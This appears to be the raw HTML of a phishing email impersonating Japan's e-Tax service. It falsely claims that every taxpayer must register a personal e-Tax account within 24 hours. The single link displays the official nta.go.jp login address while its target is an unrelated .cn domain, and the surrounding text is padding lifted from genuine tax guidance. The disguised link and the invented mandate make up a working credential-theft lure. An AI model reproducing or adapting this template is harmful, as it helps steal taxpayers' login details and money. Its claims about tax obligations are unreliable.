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<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>e-Taxをご利用いただきありがとうございます。<BR>国税還付金の電子発行を開始しました。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'> </DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>令和6年度の税制改正等のうち、以下の申告手続について、追加及び修正を行い。<BR>税制改正に伴い、税金の状況をわかりやすくするため。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'> </DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>E-Tax
の個人納税アカウントを持つことを全員に義務付けています<BR>このメール受信後24時間以内に下記の専用リンクからE-taxアカウントをご登録ください。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>○
注意事項<BR>・以下のリンクから案内に従ってE-tax個人アカウントの登録を行ってください。<BR>・案内メールの有効期限は2025年7月20日
21:25となりますので、有効期限内に確認を行ってください。<BR>・e-Taxの利用可能時間は、e-Taxホームページでご確認してください。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'> </DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>⇒
<A
href="https://e-tax-hydrard.vkwdh.cn/loginouudividua/">https://login.e-tax.nta.go.jp/login/reception/5a5kaflkx/loginIndividual</A><BR><SPAN></SPAN></DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'> </DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>e-Taxをご利用いただきありがとうございます。<BR>ご提出された還付申告の処理状況について、ご連絡します。<BR>詳細については、還付金処理状況をご確認ください。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'> </DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>提出した申告書に誤りがあった場合<BR>令和６年分以前の申告書に誤りがあった場合は、更正の請求書、修正申告書の提出を行ってください。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>新規に更正の請求書・修正申告書を作成する<BR>更正の請求書・修正申告書の作成を再開する<BR>インボイス発行事業者は消費税の申告が必要になります<BR>インボイス発行事業者の登録を受けた事業者は、消費税の申告が必要です。<BR>免税事業者が登録を受けた場合には、申告に当たって消費税の納税額を売上税額の２割に軽減できるいわゆる「２割特例」の適用が可能です。
なお、基準期間（２年前）の課税売上高が1,000万円を超える場合や高額な資産を仕入れた場合、課税期間を短縮している場合など２割特例の適用を受けることができない場合があります（詳細は、上記「２割特例」特設ページをご参照ください。）。</DIV>
<DIV
style='FONT-SIZE: 14px; FONT-FAMILY: "Microsoft YaHei UI", Tahoma; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; text-decoration-style: initial; text-decoration-color: initial; text-decoration-thickness: initial'>消費税の確定申告に当たっては、インボイス発行事業者の登録を受けた方へを併せてご参照ください。
また、インボイス制度の詳細は、インボイス制度特設サイトをご確認ください。</DIV></DIV></DIV><BR><BR></BODY></HTML>